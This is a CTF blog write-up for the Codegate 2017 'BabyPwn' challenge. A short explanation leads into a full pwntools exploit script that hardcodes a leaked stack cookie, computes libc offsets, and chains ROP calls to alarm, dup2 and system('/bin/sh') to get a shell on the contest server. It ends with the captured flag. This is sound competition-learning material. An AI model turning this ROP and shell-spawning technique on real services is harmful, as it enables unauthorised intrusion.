Codegate 2017 Prequals – BabyPwn

This was a straightforward ROP challenge, which was made difficult on our side due to bandwidth issues.

Interestingly enough, every time we tried to leak the stack cookie it started with a null byte. We have a read primitive (actually just a function) at 0x80488b1 which we can leverage to read off entries from the plt. With this, we can grab libc addresses to fingerprint a specific version and then find offsets to the functions we want. Stacks are also cleaned up by the caller, so we need to return back to the main loop to retrigger our ROP chain every time we call a new function.

#! /usr/bin/env python2

from pwn import remote, p32, u32, args, log

choicestr = "Select menu > "
inputstr  = "Input Your Message : "

if args['REMOTE']:
    r = remote("110.10.212.130", 8888)
else:
    r = remote("localhost", 8181)

r.recvuntil(choicestr)
# r.sendline("1")
# r.recvuntil(inputstr)
# r.send("A" * 41)
# v = r.recvuntil(choicestr)

# x = v[40:]
# print x.encode("hex")

# cookie = x[1:4]
cookie = "00228d33".decode("hex")
pl_base = "A" * 40 + cookie + "BBBB" + "CCCC" + "DDDD"
loop = 0x8048a71


# we can use this to leak libc addresses
#log.info("print(__libc_start_main)")
#r.sendline("1")
#r.recvuntil(inputstr)
#r.send(pl_base + p32(0x80488b1) + p32(loop) + p32(0x804b03c))
#r.recvuntil(choicestr)
#r.sendline("3")
#res = r.recvuntil(choicestr)

# __libc_start_main = 0xf75ef990
setsockopt = 0xf765c5d0
libc_base = setsockopt - 0x000ed5d0
system = libc_base + 0x00040190
binsh = libc_base + 0x00160a24
dup2 = libc_base + 0x000db590
alarm = libc_base + 0x000b54c0

# go back to the loop to do a new rop call

log.info("alarm(0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(alarm) + p32(loop)+ p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 0)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(0)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("dup2(4, 1)")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(1)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")
r.recvuntil(choicestr)

log.info("system(\"/bin/sh\")")
r.sendline("1")
r.recvuntil(inputstr)
pl = pl_base + p32(system) + p32(loop)+ p32(binsh)
r.send(pl)
r.recvuntil(choicestr)
r.sendline("3")

r.interactive()
# FLAG{[email protected][email protected]@d!!!!!!^.^}
This entry was posted in CTF. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *